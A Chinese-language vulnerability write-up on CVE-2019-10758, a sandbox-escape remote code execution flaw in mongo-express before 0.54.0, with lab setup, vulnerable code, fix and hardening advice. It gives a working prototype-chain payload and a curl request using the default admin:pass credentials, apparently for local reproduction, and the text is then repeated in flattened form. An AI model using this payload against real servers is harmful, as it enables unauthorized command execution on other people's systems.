CVE-2019-10758 mongo-express RCE 漏洞分析
字数 1323 2025-08-26 22:11:51

CVE-2019-10758 mongo-express RCE漏洞深度分析与复现指南

漏洞概述

CVE-2019-10758是mongo-express(一个基于Web的MongoDB管理界面)中的一个高危远程代码执行(RCE)漏洞。该漏洞存在于0.54.0之前的版本中,由于对vm模块的不安全使用,攻击者可以通过精心构造的输入实现沙箱逃逸并执行任意系统命令。

漏洞影响

  • 影响版本:mongo-express < 0.54.0
  • 漏洞类型:远程代码执行(RCE)
  • CVSS评分:9.8 (Critical)
  • 攻击复杂度:低
  • 所需权限:需要认证(默认凭证admin:pass)

环境搭建

所需组件

  1. MongoDB数据库
  2. Node.js & npm
  3. 存在漏洞的mongo-express版本(<0.54.0)

搭建步骤

# 启动MongoDB容器
docker run -p 27017:27017 -d mongo

# 安装存在漏洞的mongo-express版本
npm install mongo-express@0.53.0

# 启动mongo-express
cd node_modules/mongo-express/ && npm start

默认访问地址:http://localhost:8081,使用默认凭证admin:pass登录。

漏洞分析

漏洞位置

漏洞核心位于mongo-express/lib/bson.js文件中的toBSON函数:

exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();
  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
  
  vm.runInNewContext('doc = eval((' + string + '));', sandbox);
  return sandbox.doc;
};

攻击链分析

  1. 输入点/checkValid路由接收用户输入的document参数
  2. 危险函数调用:输入被传递给bson.toBSON()函数
  3. 不安全执行vm.runInNewContext执行用户输入时未正确隔离
  4. 沙箱逃逸:通过原型链访问主进程的Function构造函数
  5. RCE实现:获取process对象并执行任意命令

漏洞利用原理

攻击者可以利用JavaScript原型链访问主进程的全局对象:

this.constructor.constructor("return process")().mainModule.require("child_process").execSync("calc")

解释:

  1. this.constructor → 获取Object构造函数
  2. .constructor → 获取Function构造函数
  3. ("return process")() → 创建返回process对象的函数并执行
  4. 通过process.mainModule.require加载child_process模块
  5. 使用execSync执行系统命令

漏洞复现

方法一:cURL利用

curl 'http://localhost:8081/checkValid' \
-H 'Authorization: Basic YWRtaW46cGFzcw==' \  # 默认凭证admin:pass的base64
--data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("calc")'

方法二:Node.js脚本利用

const exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('calc')";
const bson = require('mongo-express/lib/bson');
bson.toBSON(exploit);

漏洞修复

在0.54.0版本中,开发者移除了不安全的vm模块实现,改用mongodb-query-parser

const parser = require('mongodb-query-parser');

exports.toBSON = function (string) {
  return parser(string);
};

安全建议

  1. 立即升级到mongo-express 0.54.0或更高版本
  2. 修改默认凭证,使用强密码
  3. 限制mongo-express的访问IP
  4. 避免在生产环境使用Web数据库管理工具

深入理解:vm模块沙箱逃逸

vm模块设计缺陷导致沙箱逃逸的根本原因:

  1. 上下文对象共享:vm脚本的this指向主程序传入的sandbox对象
  2. 原型链污染:通过原型链可以访问主程序的Function构造函数
  3. 执行环境突破:使用主程序的Function创建的函数会在主程序上下文中执行

安全替代方案:

  • 使用vm2等更安全的沙箱模块
  • 严格限制用户输入,避免代码执行

参考链接

  1. CVE-2019-10758漏洞PoC
  2. mongo-express官方仓库
  3. Node.js vm模块文档
  4. vm2安全沙箱
CVE-2019-10758 mongo-express RCE漏洞深度分析与复现指南 漏洞概述 CVE-2019-10758是mongo-express(一个基于Web的MongoDB管理界面)中的一个高危远程代码执行(RCE)漏洞。该漏洞存在于0.54.0之前的版本中,由于对 vm 模块的不安全使用,攻击者可以通过精心构造的输入实现沙箱逃逸并执行任意系统命令。 漏洞影响 影响版本 :mongo-express < 0.54.0 漏洞类型 :远程代码执行(RCE) CVSS评分 :9.8 (Critical) 攻击复杂度 :低 所需权限 :需要认证(默认凭证admin:pass) 环境搭建 所需组件 MongoDB数据库 Node.js & npm 存在漏洞的mongo-express版本( <0.54.0) 搭建步骤 默认访问地址: http://localhost:8081 ,使用默认凭证 admin:pass 登录。 漏洞分析 漏洞位置 漏洞核心位于 mongo-express/lib/bson.js 文件中的 toBSON 函数: 攻击链分析 输入点 : /checkValid 路由接收用户输入的 document 参数 危险函数调用 :输入被传递给 bson.toBSON() 函数 不安全执行 : vm.runInNewContext 执行用户输入时未正确隔离 沙箱逃逸 :通过原型链访问主进程的 Function 构造函数 RCE实现 :获取 process 对象并执行任意命令 漏洞利用原理 攻击者可以利用JavaScript原型链访问主进程的全局对象: 解释: this.constructor → 获取 Object 构造函数 .constructor → 获取 Function 构造函数 ("return process")() → 创建返回 process 对象的函数并执行 通过 process.mainModule.require 加载 child_process 模块 使用 execSync 执行系统命令 漏洞复现 方法一:cURL利用 方法二:Node.js脚本利用 漏洞修复 在0.54.0版本中,开发者移除了不安全的 vm 模块实现,改用 mongodb-query-parser : 安全建议 立即升级到mongo-express 0.54.0或更高版本 修改默认凭证,使用强密码 限制mongo-express的访问IP 避免在生产环境使用Web数据库管理工具 深入理解:vm模块沙箱逃逸 vm 模块设计缺陷导致沙箱逃逸的根本原因: 上下文对象共享 :vm脚本的 this 指向主程序传入的sandbox对象 原型链污染 :通过原型链可以访问主程序的 Function 构造函数 执行环境突破 :使用主程序的 Function 创建的函数会在主程序上下文中执行 安全替代方案: 使用 vm2 等更安全的沙箱模块 严格限制用户输入,避免代码执行 参考链接 CVE-2019-10758漏洞PoC mongo-express官方仓库 Node.js vm模块文档 vm2安全沙箱